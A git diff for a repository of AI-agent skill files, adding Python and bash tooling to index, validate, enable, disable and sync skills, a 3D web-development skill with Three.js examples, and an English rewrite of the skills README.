-                        skill_info["description"] = desc_fm.group(1).strip()
+            # Merge Metadata
+            if "name" in metadata: skill_info["name"] = metadata["name"]
+            if "description" in metadata: skill_info["description"] = metadata["description"]
+            if "risk" in metadata: skill_info["risk"] = metadata["risk"]
+            if "source" in metadata: skill_info["source"] = metadata["source"]
             
-                # Fallback to Header and First Paragraph if needed
-                if not skill_info["description"] or skill_info["description"] == "":
-                    name_match = re.search(r'^#\s+(.+)$', content, re.MULTILINE)
-                    if name_match and not fm_match: # Only override if no frontmatter name
-                         skill_info["name"] = name_match.group(1).strip()
-                    
-                    # Extract first paragraph
+            # Fallback for description if missing in frontmatter (legacy support)
+            if not skill_info["description"]:
                 body = content
+                fm_match = re.search(r'^---\s*\n(.*?)\n---', content, re.DOTALL)
                 if fm_match:
                     body = content[fm_match.end():].strip()
                 
+                # Simple extraction of first non-header paragraph
                 lines = body.split('\n')
                 desc_lines = []
                 for line in lines:
@@ -53,16 +75,17 @@ def generate_index(skills_dir, output_file):
                     desc_lines.append(line.strip())
                 
                 if desc_lines:
-                        skill_info["description"] = " ".join(desc_lines)[:150] + "..."
+                    skill_info["description"] = " ".join(desc_lines)[:250].strip()
 
             skills.append(skill_info)
 
-    skills.sort(key=lambda x: x["name"])
+    # Sort validation: by name
+    skills.sort(key=lambda x: (x["name"].lower(), x["id"].lower()))
 
     with open(output_file, 'w', encoding='utf-8') as f:
         json.dump(skills, f, indent=2)
     
-    print(f"✅ Generated index with {len(skills)} skills at: {output_file}")
+    print(f"✅ Generated rich index with {len(skills)} skills at: {output_file}")
     return skills
 
 if __name__ == "__main__":

scripts/skills_manager.py

@@ -0,0 +1,119 @@
+#!/usr/bin/env python3
+"""
+Skills Manager - Easily enable/disable skills locally
+
+Usage:
+  python3 scripts/skills_manager.py list          # List active skills
+  python3 scripts/skills_manager.py disabled      # List disabled skills
+  python3 scripts/skills_manager.py enable SKILL  # Enable a skill
+  python3 scripts/skills_manager.py disable SKILL # Disable a skill
+"""
+
+import sys
+import os
+from pathlib import Path
+
+SKILLS_DIR = Path(__file__).parent.parent / "skills"
+DISABLED_DIR = SKILLS_DIR / ".disabled"
+
+def list_active():
+    """List all active skills"""
+    print("🟢 Active Skills:\n")
+    skills = sorted([d.name for d in SKILLS_DIR.iterdir() 
+                    if d.is_dir() and not d.name.startswith('.')])
+    symlinks = sorted([s.name for s in SKILLS_DIR.iterdir() 
+                      if s.is_symlink()])
+    
+    for skill in skills:
+        print(f"  • {skill}")
+    
+    if symlinks:
+        print("\n📎 Symlinks:")
+        for link in symlinks:
+            target = os.readlink(SKILLS_DIR / link)
+            print(f"  • {link} → {target}")
+    
+    print(f"\n✅ Total: {len(skills)} skills + {len(symlinks)} symlinks")
+
+def list_disabled():
+    """List all disabled skills"""
+    if not DISABLED_DIR.exists():
+        print("❌ No disabled skills directory found")
+        return
+    
+    print("⚪ Disabled Skills:\n")
+    disabled = sorted([d.name for d in DISABLED_DIR.iterdir() if d.is_dir()])
+    
+    for skill in disabled:
+        print(f"  • {skill}")
+    
+    print(f"\n📊 Total: {len(disabled)} disabled skills")
+
+def enable_skill(skill_name):
+    """Enable a disabled skill"""
+    source = DISABLED_DIR / skill_name
+    target = SKILLS_DIR / skill_name
+    
+    if not source.exists():
+        print(f"❌ Skill '{skill_name}' not found in .disabled/")
+        return False
+    
+    if target.exists():
+        print(f"⚠️  Skill '{skill_name}' is already active")
+        return False
+    
+    source.rename(target)
+    print(f"✅ Enabled: {skill_name}")
+    return True
+
+def disable_skill(skill_name):
+    """Disable an active skill"""
+    source = SKILLS_DIR / skill_name
+    target = DISABLED_DIR / skill_name
+    
+    if not source.exists():
+        print(f"❌ Skill '{skill_name}' not found")
+        return False
+    
+    if source.name.startswith('.'):
+        print(f"⚠️  Cannot disable system directory: {skill_name}")
+        return False
+    
+    if source.is_symlink():
+        print(f"⚠️  Cannot disable symlink: {skill_name}")
+        print(f"   (Remove the symlink manually if needed)")
+        return False
+    
+    DISABLED_DIR.mkdir(exist_ok=True)
+    source.rename(target)
+    print(f"✅ Disabled: {skill_name}")
+    return True
+
+def main():
+    if len(sys.argv) < 2:
+        print(__doc__)
+        sys.exit(1)
+    
+    command = sys.argv[1].lower()
+    
+    if command == "list":
+        list_active()
+    elif command == "disabled":
+        list_disabled()
+    elif command == "enable":
+        if len(sys.argv) < 3:
+            print("❌ Usage: skills_manager.py enable SKILL_NAME")
+            sys.exit(1)
+        enable_skill(sys.argv[2])
+    elif command == "disable":
+        if len(sys.argv) < 3:
+            print("❌ Usage: skills_manager.py disable SKILL_NAME")
+            sys.exit(1)
+        disable_skill(sys.argv[2])
+    else:
+        print(f"❌ Unknown command: {command}")
+        print(__doc__)
+        sys.exit(1)
+
+if __name__ == "__main__":
+    main()

scripts/sync_recommended_skills.sh

@@ -0,0 +1,114 @@
+#!/bin/bash
+# sync_recommended_skills.sh
+# Syncs only the 35 recommended skills from GitHub repo to local central library
+
+set -e
+
+# Paths
+GITHUB_REPO="/Users/nicco/Antigravity Projects/antigravity-awesome-skills/skills"
+LOCAL_LIBRARY="/Users/nicco/.gemini/antigravity/scratch/.agent/skills"
+BACKUP_DIR="/Users/nicco/.gemini/antigravity/scratch/.agent/skills_backup_$(date +%Y%m%d_%H%M%S)"
+
+# 35 Recommended Skills
+RECOMMENDED_SKILLS=(
+    # Tier S - Core Development (13)
+    "systematic-debugging"
+    "test-driven-development"
+    "writing-skills"
+    "doc-coauthoring"
+    "planning-with-files"
+    "concise-planning"
+    "software-architecture"
+    "senior-architect"
+    "senior-fullstack"
+    "verification-before-completion"
+    "git-pushing"
+    "address-github-comments"
+    "javascript-mastery"
+    
+    # Tier A - Your Projects (12)
+    "docx-official"
+    "pdf-official"
+    "pptx-official"
+    "xlsx-official"
+    "react-best-practices"
+    "web-design-guidelines"
+    "frontend-dev-guidelines"
+    "webapp-testing"
+    "playwright-skill"
+    "mcp-builder"
+    "notebooklm"
+    "ui-ux-pro-max"
+    
+    # Marketing & SEO (1)
+    "content-creator"
+    
+    # Corporate (4)
+    "brand-guidelines-anthropic"
+    "brand-guidelines-community"
+    "internal-comms-anthropic"
+    "internal-comms-community"
+    
+    # Planning & Documentation (1)
+    "writing-plans"
+    
+    # AI & Automation (5)
+    "workflow-automation"
+    "llm-app-patterns"
+    "autonomous-agent-patterns"
+    "prompt-library"
+    "github-workflow-automation"
+)
+
+echo "🔄 Sync Recommended Skills"
+echo "========================="
+echo ""
+echo "📍 Source: $GITHUB_REPO"
+echo "📍 Target: $LOCAL_LIBRARY"
+echo "📊 Skills to sync: ${#RECOMMENDED_SKILLS[@]}"
+echo ""
+
+# Create backup
+echo "📦 Creating backup at: $BACKUP_DIR"
+cp -r "$LOCAL_LIBRARY" "$BACKUP_DIR"
+echo "✅ Backup created"
+echo ""
+
+# Clear local library (keep README.md if exists)
+echo "🗑️  Clearing local library..."
+cd "$LOCAL_LIBRARY"
+for item in */; do
+    rm -rf "$item"
+done
+echo "✅ Local library cleared"
+echo ""
+
+# Copy recommended skills
+echo "📋 Copying recommended skills..."
+SUCCESS_COUNT=0
+MISSING_COUNT=0
+
+for skill in "${RECOMMENDED_SKILLS[@]}"; do
+    if [ -d "$GITHUB_REPO/$skill" ]; then
+        cp -r "$GITHUB_REPO/$skill" "$LOCAL_LIBRARY/"
+        echo "  ✅ $skill"
+        ((SUCCESS_COUNT++))
+    else
+        echo "  ⚠️  $skill (not found in repo)"
+        ((MISSING_COUNT++))
+    fi
+done
+
+echo ""
+echo "📊 Summary"
+echo "=========="
+echo "✅ Copied: $SUCCESS_COUNT skills"
+echo "⚠️  Missing: $MISSING_COUNT skills"
+echo "📦 Backup: $BACKUP_DIR"
+echo ""
+
+# Verify
+FINAL_COUNT=$(find "$LOCAL_LIBRARY" -maxdepth 1 -type d ! -name "." | wc -l | tr -d ' ')
+echo "🎯 Final count in local library: $FINAL_COUNT skills"
+echo ""
+echo "Done! Your local library now has only the recommended skills."

scripts/update_readme.py

@@ -0,0 +1,125 @@
+#!/usr/bin/env python3
+import json
+import os
+import re
+
+def update_readme():
+    base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+    readme_path = os.path.join(base_dir, "README.md")
+    index_path = os.path.join(base_dir, "skills_index.json")
+
+    print(f"📖 Reading skills index from: {index_path}")
+    with open(index_path, 'r', encoding='utf-8') as f:
+        skills = json.load(f)
+
+    total_skills = len(skills)
+    print(f"🔢 Total skills found: {total_skills}")
+
+    print(f"📝 Updating README at: {readme_path}")
+    with open(readme_path, 'r', encoding='utf-8') as f:
+        content = f.read()
+
+    # 1. Update Title Count
+    content = re.sub(
+        r'(# 🌌 Antigravity Awesome Skills: )\d+(\+ Agentic Skills)',
+        f'\\g<1>{total_skills}\\g<2>',
+        content
+    )
+
+    # 2. Update Blockquote Count
+    content = re.sub(
+        r'(Collection of )\d+(\+ Universal)',
+        f'\\g<1>{total_skills}\\g<2>',
+        content
+    )
+
+    # 3. Update Intro Text Count
+    content = re.sub(
+        r'(library of \*\*)\d+( high-performance skills\*\*)',
+        f'\\g<1>{total_skills}\\g<2>',
+        content
+    )
+
+    # 4. Update Registry Header Count
+    content = re.sub(
+        r'(## Full Skill Registry \()\d+/\d+(\))',
+        f'\\g<1>{total_skills}/{total_skills}\\g<2>',
+        content
+    )
+
+    # 5. Insert Collections / Bundles Section (New in Phase 3)
+    # This logic checks if "## 📦 Curated Collections" exists. If not, it creates it before Full Registry.
+    collections_header = "## 📦 Curated Collections"
+    
+    if collections_header not in content:
+        # Insert before Full Skill Registry
+        content = content.replace("## Full Skill Registry", f"{collections_header}\n\n[Check out our Starter Packs in docs/BUNDLES.md](docs/BUNDLES.md) to find the perfect toolkit for your role.\n\n## Full Skill Registry")
+
+    # 6. Generate New Registry Table
+    print("🔄 Generating new registry table...")
+    
+    # Store the Note block to preserve it
+    note_pattern = r'(> \[!NOTE\].*?)\n\n\| Skill Name'
+    note_match = re.search(note_pattern, content, re.DOTALL)
+    note_block = ""
+    if note_match:
+        note_block = note_match.group(1)
+    else:
+        note_block = "> [!NOTE] > **Document Skills**: We provide both **community** and **official Anthropic** versions. Locally, the official versions are used by default."
+
+    table_header = "| Skill Name | Risk | Description | Path |\n| :--- | :--- | :--- | :--- |"
+    table_rows = []
+
+    for skill in skills:
+        name = skill.get('name', 'Unknown')
+        desc = skill.get('description', '').replace('\n', ' ').strip()
+        path = skill.get('path', '')
+        risk = skill.get('risk', 'unknown')
+        
+        # Risk Icons
+        risk_icon = "⚪"
+        if risk == "official": risk_icon = "🟣" # Mapping official to purple
+        if risk == "none": risk_icon = "🟢"
+        if risk == "safe": risk_icon = "🔵"
+        if risk == "critical": risk_icon = "🟠"
+        if risk == "offensive": risk_icon = "🔴"
+        
+        # Escape pipes
+        desc = desc.replace('|', r'\|')
+        
+        row = f"| **{name}** | {risk_icon} | {desc} | `{path}` |"
+        table_rows.append(row)
+
+    new_table_section = f"{note_block}\n\n{table_header}\n" + "\n".join(table_rows)
+
+    # Replace the old table section
+    header_pattern = r'## Full Skill Registry \(\d+/\d+\)'
+    header_match = re.search(header_pattern, content)
+    
+    if not header_match:
+        print("❌ Could not find 'Full Skill Registry' header.")
+        return
+
+    start_pos = header_match.end()
+    
+    # Find the next section (## ...) or end of file
+    next_section_match = re.search(r'\n## ', content[start_pos:])
+    
+    if next_section_match:
+        end_pos = start_pos + next_section_match.start()
+        rest_of_file = content[end_pos:]
+    else:
+        rest_of_file = ""
+
+    before_header = content[:header_match.start()]
+    new_header = f"## Full Skill Registry ({total_skills}/{total_skills})"
+    
+    new_content = f"{before_header}{new_header}\n\n{new_table_section}\n{rest_of_file}"
+
+    with open(readme_path, 'w', encoding='utf-8') as f:
+        f.write(new_content)
+
+    print("✅ README.md updated successfully with Collections link and Risk columns.")
+
+if __name__ == "__main__":
+    update_readme()

scripts/validate_skills.py

@@ -1,50 +1,124 @@
 import os
 import re
+import argparse
+import sys
 
-def validate_skills(skills_dir):
+def parse_frontmatter(content):
+    """
+    Simple frontmatter parser using regex to avoid external dependencies.
+    Returns a dict of key-values.
+    """
+    fm_match = re.search(r'^---\s*\n(.*?)\n---', content, re.DOTALL)
+    if not fm_match:
+        return None
+    
+    fm_text = fm_match.group(1)
+    metadata = {}
+    for line in fm_text.split('\n'):
+        if ':' in line:
+            key, val = line.split(':', 1)
+            metadata[key.strip()] = val.strip().strip('"').strip("'")
+    return metadata
+
+def validate_skills(skills_dir, strict_mode=False):
     print(f"🔍 Validating skills in: {skills_dir}")
+    print(f"⚙️  Mode: {'STRICT (CI)' if strict_mode else 'Standard (Dev)'}")
+    
     errors = []
+    warnings = []
     skill_count = 0
     
+    # Pre-compiled regex
+    security_disclaimer_pattern = re.compile(r"AUTHORIZED USE ONLY", re.IGNORECASE)
+    trigger_section_pattern = re.compile(r"^##\s+When to Use", re.MULTILINE | re.IGNORECASE)
+
+    valid_risk_levels = ["none", "safe", "critical", "offensive"]
+
     for root, dirs, files in os.walk(skills_dir):
+        # Skip .disabled or hidden directories
+        dirs[:] = [d for d in dirs if not d.startswith('.')]
+        
         if "SKILL.md" in files:
             skill_count += 1
             skill_path = os.path.join(root, "SKILL.md")
             rel_path = os.path.relpath(skill_path, skills_dir)
             
+            try:
                 with open(skill_path, 'r', encoding='utf-8') as f:
                     content = f.read()
+            except Exception as e:
+                errors.append(f"❌ {rel_path}: Unreadable file - {str(e)}")
+                continue
             
-            # Check for Frontmatter or Header
-            has_frontmatter = content.strip().startswith("---")
-            has_header = re.search(r'^#\s+', content, re.MULTILINE)
+            # 1. Frontmatter Check
+            metadata = parse_frontmatter(content)
+            if not metadata:
+                errors.append(f"❌ {rel_path}: Missing or malformed YAML frontmatter")
+                continue # Cannot proceed without metadata
 
-            if not (has_frontmatter or has_header):
-                errors.append(f"❌ {rel_path}: Missing frontmatter or top-level heading")
+            # 2. Metadata Schema Checks
+            if "name" not in metadata:
+                errors.append(f"❌ {rel_path}: Missing 'name' in frontmatter")
+            elif metadata["name"] != os.path.basename(root):
+                warnings.append(f"⚠️  {rel_path}: Name '{metadata['name']}' does not match folder name '{os.path.basename(root)}'")
 
-            if has_frontmatter:
-                # Basic check for name and description in frontmatter
-                fm_match = re.search(r'^---\s*(.*?)\s*---', content, re.DOTALL)
-                if fm_match:
-                    fm_content = fm_match.group(1)
-                    if "name:" not in fm_content:
-                        errors.append(f"⚠️  {rel_path}: Frontmatter missing 'name:'")
-                    if "description:" not in fm_content:
-                        errors.append(f"⚠️  {rel_path}: Frontmatter missing 'description:'")
-                else:
-                    errors.append(f"❌ {rel_path}: Malformed frontmatter")
+            if "description" not in metadata:
+                errors.append(f"❌ {rel_path}: Missing 'description' in frontmatter")
+
+            # Risk Validation (Quality Bar)
+            if "risk" not in metadata:
+                msg = f"⚠️  {rel_path}: Missing 'risk' label (defaulting to 'unknown')"
+                if strict_mode: errors.append(msg.replace("⚠️", "❌"))
+                else: warnings.append(msg)
+            elif metadata["risk"] not in valid_risk_levels:
+                errors.append(f"❌ {rel_path}: Invalid risk level '{metadata['risk']}'. Must be one of {valid_risk_levels}")
+
+            # Source Validation
+            if "source" not in metadata:
+                msg = f"⚠️  {rel_path}: Missing 'source' attribution"
+                if strict_mode: errors.append(msg.replace("⚠️", "❌"))
+                else: warnings.append(msg)
+
+            # 3. Content Checks (Triggers)
+            if not trigger_section_pattern.search(content):
+                msg = f"⚠️  {rel_path}: Missing '## When to Use' section"
+                if strict_mode: errors.append(msg.replace("⚠️", "❌"))
+                else: warnings.append(msg)
+
+            # 4. Security Guardrails
+            if metadata.get("risk") == "offensive":
+                if not security_disclaimer_pattern.search(content):
+                    errors.append(f"🚨 {rel_path}: OFFENSIVE SKILL MISSING SECURITY DISCLAIMER! (Must contain 'AUTHORIZED USE ONLY')")
+
+    # Reporting
+    print(f"\n📊 Checked {skill_count} skills.")
+    
+    if warnings:
+        print(f"\n⚠️  Found {len(warnings)} Warnings:")
+        for w in warnings:
+            print(w)
 
-    print(f"✅ Found and checked {skill_count} skills.")
     if errors:
-        print("\n⚠️  Validation Results:")
-        for err in errors:
-            print(err)
+        print(f"\n❌ Found {len(errors)} Critical Errors:")
+        for e in errors:
+            print(e)
         return False
-    else:
-        print("✨ All skills passed basic validation!")
+
+    if strict_mode and warnings:
+        print("\n❌ STRICT MODE: Failed due to warnings.")
+        return False
+
+    print("\n✨ All skills passed validation!")
     return True
 
 if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description="Validate Antigravity Skills")
+    parser.add_argument("--strict", action="store_true", help="Fail on warnings (for CI)")
+    args = parser.parse_args()
+
     base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
     skills_path = os.path.join(base_dir, "skills")
-    validate_skills(skills_path)
+    
+    success = validate_skills(skills_path, strict_mode=args.strict)
+    if not success:
+        sys.exit(1)

skills/.gitignore

@@ -0,0 +1,3 @@
+# Local-only: disabled skills for lean configuration
+# These skills are kept in the repository but disabled locally
+.disabled/

skills/3d-web-experience/SKILL.md

@@ -0,0 +1,254 @@
+---
+name: 3d-web-experience
+description: "Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences. Use when: 3D website, three.js, WebGL, react three fiber, 3D experience."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# 3D Web Experience
+
+**Role**: 3D Web Experience Architect
+
+You bring the third dimension to the web. You know when 3D enhances
+and when it's just showing off. You balance visual impact with
+performance. You make 3D accessible to users who've never touched
+a 3D app. You create moments of wonder without sacrificing usability.
+
+## Capabilities
+
+- Three.js implementation
+- React Three Fiber
+- WebGL optimization
+- 3D model integration
+- Spline workflows
+- 3D product configurators
+- Interactive 3D scenes
+- 3D performance optimization
+
+## Patterns
+
+### 3D Stack Selection
+
+Choosing the right 3D approach
+
+**When to use**: When starting a 3D web project
+
+```python
+## 3D Stack Selection
+
+### Options Comparison
+| Tool | Best For | Learning Curve | Control |
+|------|----------|----------------|---------|
+| Spline | Quick prototypes, designers | Low | Medium |
+| React Three Fiber | React apps, complex scenes | Medium | High |
+| Three.js vanilla | Max control, non-React | High | Maximum |
+| Babylon.js | Games, heavy 3D | High | Maximum |
+
+### Decision Tree
+```
+Need quick 3D element?
+└── Yes → Spline
+└── No → Continue
+
+Using React?
+└── Yes → React Three Fiber
+└── No → Continue
+
+Need max performance/control?
+└── Yes → Three.js vanilla
+└── No → Spline or R3F
+```
+
+### Spline (Fastest Start)
+```jsx
+import Spline from '@splinetool/react-spline';
+
+export default function Scene() {
+  return (
+    <Spline scene="https://prod.spline.design/xxx/scene.splinecode" />
+  );
+}
+```
+
+### React Three Fiber
+```jsx
+import { Canvas } from '@react-three/fiber';
+import { OrbitControls, useGLTF } from '@react-three/drei';
+
+function Model() {
+  const { scene } = useGLTF('/model.glb');
+  return <primitive object={scene} />;
+}
+
+export default function Scene() {
+  return (
+    <Canvas>
+      <ambientLight />
+      <Model />
+      <OrbitControls />
+    </Canvas>
+  );
+}
+```
+```
+
+### 3D Model Pipeline
+
+Getting models web-ready
+
+**When to use**: When preparing 3D assets
+
+```python
+## 3D Model Pipeline
+
+### Format Selection
+| Format | Use Case | Size |
+|--------|----------|------|
+| GLB/GLTF | Standard web 3D | Smallest |
+| FBX | From 3D software | Large |
+| OBJ | Simple meshes | Medium |
+| USDZ | Apple AR | Medium |
+
+### Optimization Pipeline
+```
+1. Model in Blender/etc
+2. Reduce poly count (< 100K for web)
+3. Bake textures (combine materials)
+4. Export as GLB
+5. Compress with gltf-transform
+6. Test file size (< 5MB ideal)
+```
+
+### GLTF Compression
+```bash
+# Install gltf-transform
+npm install -g @gltf-transform/cli
+
+# Compress model
+gltf-transform optimize input.glb output.glb \
+  --compress draco \
+  --texture-compress webp
+```
+
+### Loading in R3F
+```jsx
+import { useGLTF, useProgress, Html } from '@react-three/drei';
+import { Suspense } from 'react';
+
+function Loader() {
+  const { progress } = useProgress();
+  return <Html center>{progress.toFixed(0)}%</Html>;
+}
+
+export default function Scene() {
+  return (
+    <Canvas>
+      <Suspense fallback={<Loader />}>
+        <Model />
+      </Suspense>
+    </Canvas>
+  );
+}
+```
+```
+
+### Scroll-Driven 3D
+
+3D that responds to scroll
+
+**When to use**: When integrating 3D with scroll
+
+```python
+## Scroll-Driven 3D
+
+### R3F + Scroll Controls
+```jsx
+import { ScrollControls, useScroll } from '@react-three/drei';
+import { useFrame } from '@react-three/fiber';
+
+function RotatingModel() {
+  const scroll = useScroll();
+  const ref = useRef();
+
+  useFrame(() => {
+    // Rotate based on scroll position
+    ref.current.rotation.y = scroll.offset * Math.PI * 2;
+  });
+
+  return <mesh ref={ref}>...</mesh>;
+}
+
+export default function Scene() {
+  return (
+    <Canvas>
+      <ScrollControls pages={3}>
+        <RotatingModel />
+      </ScrollControls>
+    </Canvas>
+  );
+}
+```
+
+### GSAP + Three.js
+```javascript
+import gsap from 'gsap';
+import ScrollTrigger from 'gsap/ScrollTrigger';
+
+gsap.to(camera.position, {
+  scrollTrigger: {
+    trigger: '.section',
+    scrub: true,
+  },
+  z: 5,
+  y: 2,
+});
+```
+
+### Common Scroll Effects
+- Camera movement through scene
+- Model rotation on scroll
+- Reveal/hide elements
+- Color/material changes
+- Exploded view animations
+```
+
+## Anti-Patterns
+
+### ❌ 3D For 3D's Sake
+
+**Why bad**: Slows down the site.
+Confuses users.
+Battery drain on mobile.
+Doesn't help conversion.
+
+**Instead**: 3D should serve a purpose.
+Product visualization = good.
+Random floating shapes = probably not.
+Ask: would an image work?
+
+### ❌ Desktop-Only 3D
+
+**Why bad**: Most traffic is mobile.
+Kills battery.
+Crashes on low-end devices.
+Frustrated users.
+
+**Instead**: Test on real mobile devices.
+Reduce quality on mobile.
+Provide static fallback.
+Consider disabling 3D on low-end.
+
+### ❌ No Loading State
+
+**Why bad**: Users think it's broken.
+High bounce rate.
+3D takes time to load.
+Bad first impression.
+
+**Instead**: Loading progress indicator.
+Skeleton/placeholder.
+Load 3D after page is interactive.
+Optimize model size.
+
+## Related Skills
+
+Works well with: `scroll-experience`, `interactive-portfolio`, `frontend`, `landing-page-design`

skills/README.md

@@ -1,89 +1,201 @@
-# Antigravity Skills
+# Skills Directory
 
-通过模块化的 **Skills** 定义，赋予 Agent 在特定领域的专业能力（如全栈开发、复杂逻辑规划、多媒体处理等），让 Agent 能够像人类专家一样系统性地解决复杂问题。
+**Welcome to the skills folder!** This is where all 179+ specialized AI skills live.
 
-## 📂 目录结构
+## 🤔 What Are Skills?
+
+Skills are specialized instruction sets that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
+
+**Simple analogy:** Just like you might consult different experts (a designer, a security expert, a marketer), skills let your AI become an expert in different areas when you need them.
+
+---
+
+## 📂 Folder Structure
+
+Each skill lives in its own folder with this structure:
 
 ```
-.
-├── .agent/
-│   └── skills/             # Antigravity Skills 技能库
-│       ├── skill-name/   # 独立技能目录
-│       │   ├── SKILL.md    # 技能核心定义与Prompt（必须）
-│       │   ├── scripts/    # 技能依赖的脚本（可选）
-│       │   ├── examples/   # 技能使用示例（可选）
-│       │   └── resources/  # 技能依赖的模板与资源（可选）
-├── skill-guide/            # 用户手册与文档指南
-│   └── Antigravity_Skills_Manual_CN.md  # 中文使用手册
-└── README.md
+skills/
+├── skill-name/              # Individual skill folder
+│   ├── SKILL.md             # Main skill definition (required)
+│   ├── scripts/             # Helper scripts (optional)
+│   ├── examples/            # Usage examples (optional)
+│   └── resources/           # Templates & resources (optional)
 ```
 
-## 📖 快速开始
-1. 将`.agent/`目录复制到你的工作区：
+**Key point:** Only `SKILL.md` is required. Everything else is optional!
+
+---
+
+## How to Use Skills
+
+### Step 1: Make sure skills are installed
+Skills should be in your `.agent/skills/` directory (or `.claude/skills/`, `.gemini/skills/`, etc.)
+
+### Step 2: Invoke a skill in your AI chat
+Use the `@` symbol followed by the skill name:
+
+```
+@brainstorming help me design a todo app
+```
+
+or
+
+```
+@stripe-integration add payment processing to my app
+```
+
+### Step 3: The AI becomes an expert
+The AI loads that skill's knowledge and helps you with specialized expertise!
+
+---
+
+## Skill Categories
+
+### Creative & Design
+Skills for visual design, UI/UX, and artistic creation:
+- `@algorithmic-art` - Create algorithmic art with p5.js
+- `@canvas-design` - Design posters and artwork (PNG/PDF output)
+- `@frontend-design` - Build production-grade frontend interfaces
+- `@ui-ux-pro-max` - Professional UI/UX design with color, fonts, layouts
+- `@web-artifacts-builder` - Build modern web apps (React, Tailwind, Shadcn/ui)
+- `@theme-factory` - Generate themes for documents and presentations
+- `@brand-guidelines` - Apply Anthropic brand design standards
+- `@slack-gif-creator` - Create high-quality GIFs for Slack
+
+### Development & Engineering
+Skills for coding, testing, debugging, and code review:
+- `@test-driven-development` - Write tests before implementation (TDD)
+- `@systematic-debugging` - Debug systematically, not randomly
+- `@webapp-testing` - Test web apps with Playwright
+- `@receiving-code-review` - Handle code review feedback properly
+- `@requesting-code-review` - Request code reviews before merging
+- `@finishing-a-development-branch` - Complete dev branches (merge, PR, cleanup)
+- `@subagent-driven-development` - Coordinate multiple AI agents for parallel tasks
+
+### Documentation & Office
+Skills for working with documents and office files:
+- `@doc-coauthoring` - Collaborate on structured documents
+- `@docx` - Create, edit, and analyze Word documents
+- `@xlsx` - Work with Excel spreadsheets (formulas, charts)
+- `@pptx` - Create and modify PowerPoint presentations
+- `@pdf` - Handle PDFs (extract text, merge, split, fill forms)
+- `@internal-comms` - Draft internal communications (reports, announcements)
+- `@notebooklm` - Query Google NotebookLM notebooks
+
+### Planning & Workflow
+Skills for task planning and workflow optimization:
+- `@brainstorming` - Brainstorm and design before coding
+- `@writing-plans` - Write detailed implementation plans
+- `@planning-with-files` - File-based planning system (Manus-style)
+- `@executing-plans` - Execute plans with checkpoints and reviews
+- `@using-git-worktrees` - Create isolated Git worktrees for parallel work
+- `@verification-before-completion` - Verify work before claiming completion
+- `@using-superpowers` - Discover and use advanced skills
+
+### System Extension
+Skills for extending AI capabilities:
+- `@mcp-builder` - Build MCP (Model Context Protocol) servers
+- `@skill-creator` - Create new skills or update existing ones
+- `@writing-skills` - Tools for writing and validating skill files
+- `@dispatching-parallel-agents` - Distribute tasks to multiple agents
+
+---
+
+## Finding Skills
+
+### Method 1: Browse this folder
 ```bash
-cp -r .agent/ /path/to/your/workspace/
+ls skills/
 ```
-2. **调用 Skill**: 在对话框输入 `@[skill-name]` 或 `/skill-name`来进行调用，例如：
-```text
-/canvas-design 帮我设计一张关于“Deep Learning”的博客封面，风格要素雅、科技感，尺寸 16:9
+
+### Method 2: Search by keyword
+```bash
+ls skills/ | grep "keyword"
 ```
-3. **查看手册**: 详细的使用案例和参数说明请查阅 [skill-guide/Antigravity_Skills_Manual_CN.md](skill-guide/Antigravity_Skills_Manual_CN.md)。
-4. **环境依赖**: 部分 Skill (如 PDF, XLSX) 依赖 Python 环境，请确保 `.venv` 处于激活状态或系统已安装相应库。
 
+### Method 3: Check the main README
+See the [main README](../README.md) for the complete list of all 179+ skills organized by category.
 
-## 🚀 已集成的 Skills
+---
 
-### 🎨 创意与设计 (Creative & Design)
-这些技能专注于视觉表现、UI/UX 设计和艺术创作。
-- **`@[algorithmic-art]`**: 使用 p5.js 代码创作算法艺术、生成艺术
-- **`@[canvas-design]`**: 基于设计哲学创建海报、艺术作品（输出 PNG/PDF）
-- **`@[frontend-design]`**: 创建高质量、生产级的各种前端界面和 Web 组件
-- **`@[ui-ux-pro-max]`**: 专业的 UI/UX 设计智能，提供配色、字体、布局等全套设计方案
-- **`@[web-artifacts-builder]`**: 构建复杂、现代化的 Web 应用（基于 React, Tailwind, Shadcn/ui）
-- **`@[theme-factory]`**: 为文档、幻灯片、HTML 等生成配套的主题风格
-- **`@[brand-guidelines]`**: 应用 Anthropic 官方品牌设计规范（颜色、排版等）
-- **`@[slack-gif-creator]`**: 制作专用于 Slack 的高质量 GIF 动图
+## 💡 Popular Skills to Try
 
-### 🛠️ 开发与工程 (Development & Engineering)
-这些技能涵盖了编码、测试、调试和代码审查的全生命周期。
-- **`@[test-driven-development]`**: 测试驱动开发（TDD），在编写实现代码前先编写测试
-- **`@[systematic-debugging]`**: 系统化调试，用于解决 Bug、测试失败或异常行为
-- **`@[webapp-testing]`**: 使用 Playwright 对本地 Web 应用进行交互测试和验证
-- **`@[receiving-code-review]`**: 处理代码审查反馈，进行技术验证而非盲目修改
-- **`@[requesting-code-review]`**: 主动发起代码审查，在合并或完成任务前验证代码质量
-- **`@[finishing-a-development-branch]`**: 引导开发分支的收尾工作（合并、PR、清理等）
-- **`@[subagent-driven-development]`**: 协调多个子 Agent 并行执行独立的开发任务
+**For beginners:**
+- `@brainstorming` - Design before coding
+- `@systematic-debugging` - Fix bugs methodically
+- `@git-pushing` - Commit with good messages
 
-### 📄 文档与办公 (Documentation & Office)
-这些技能用于处理各种格式的专业文档和办公需求。
-- **`@[doc-coauthoring]`**: 引导用户进行结构化文档（提案、技术规范等）的协作编写
-- **`@[docx]`**: 创建、编辑和分析 Word 文档
-- **`@[xlsx]`**: 创建、编辑和分析 Excel 电子表格（支持公式、图表）
-- **`@[pptx]`**: 创建和修改 PowerPoint 演示文稿
-- **`@[pdf]`**: 处理 PDF 文档，包括提取文本、表格，合并/拆分及填写表单
-- **`@[internal-comms]`**: 起草各类企业内部沟通文档（周报、通告、FAQ 等）
-- **`@[notebooklm]`**: 查询 Google NotebookLM 笔记本，提供基于文档的确切答案
+**For developers:**
+- `@test-driven-development` - Write tests first
+- `@react-best-practices` - Modern React patterns
+- `@senior-fullstack` - Full-stack development
 
-### 📅 计划与流程 (Planning & Workflow)
-这些技能帮助优化工作流、任务规划和执行效率。
